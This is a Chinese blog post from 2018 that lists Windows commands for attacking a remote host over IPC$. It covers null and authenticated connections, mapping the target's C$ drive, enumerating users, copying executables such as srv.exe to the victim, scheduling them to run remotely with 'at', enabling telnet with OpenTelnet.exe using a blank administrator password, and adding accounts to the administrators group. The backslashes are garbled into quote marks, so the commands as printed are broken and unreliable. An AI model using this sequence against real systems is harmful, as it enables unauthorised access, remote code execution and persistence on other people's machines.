1)建立空连接: 
net use ""IP"ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格) 

2)建立非空连接: 
net use ""IP"ipc$ "密码" /user:"用户名" (同样有3个空格) 

3)映射默认共享: 
net use z: ""IP"c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推) 
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: ""IP"c$ 

4)删除一个ipc$连接 
net use ""IP"ipc$ /del 

5)删除共享映射 
net use c: /del 删除映射的c盘,其他盘类推 
net use * /del 删除全部,会有提示要求按y确认 

3 查看远程主机的共享资源(但看不到默认共享) 
net view ""IP 

4 查看本地主机的共享资源(可以看到本地的默认共享) 
net share 

5 得到远程主机的用户名列表 
nbtstat -A IP 

6 得到本地主机的用户列表 
net user 

7 查看远程主机的当前时间 
net time ""IP 

8 显示本地主机当前服务 
net start 

9 启动/关闭本地服务 
net start 服务名 /y 
net stop 服务名 /y 

10 映射远程共享: 
net use z: ""IP"baby 
此命令将共享名为baby的共享资源映射到z盘 

11 删除共享映射 
net use c: /del 删除映射的c盘,其他盘类推 
net use * /del /y删除全部 

12 向远程主机复制文件 
copy "路径"srv.exe ""IP"共享目录名,如: 
copy ccbirds.exe ""*.*.*.*"c 即将当前目录下的文件复制到对方c盘内 

13 远程添加计划任务 
at ""ip 时间 程序名,如: 
at ""127.0.0.0 11:00 love.exe 
注意:时间尽量使用24小时制;在系统默认搜索路径(比如system32/)下不用加路径,否则必须加全路径 
14 开启远程主机的telnet 
这里要用到一个小程序:opentelnet.exe,各大下载站点都有,而且还需要满足四个要求: 

1)目标开启了ipc$共享 
2)你要拥有管理员密码和帐号 
3)目标开启RemoteRegistry服务,用户就该ntlm认证 
4)对WIN2K/XP有效,NT未经测试 
命令格式:OpenTelnet.exe ""server account psw NTLM认证方式 port 
试例如下:c:">OpenTelnet.exe ""*.*.*.* administrator "" 1 90 

15 激活用户/加入管理员组 
1 net uesr account /active:yes 
2 net localgroup administrators account /add 

16 关闭远程主机的telnet 
同样需要一个小程序:ResumeTelnet.exe 
命令格式:ResumeTelnet.exe ""server account psw 
试例如下:c:">ResumeTelnet.exe ""*.*.*.* administrator "" 

17 删除一个已建立的ipc$连接 
net use ""IP"ipc$ /del

posted on 2018-03-11 14:28  xmj  阅读(293)  评论(0编辑  收藏  举报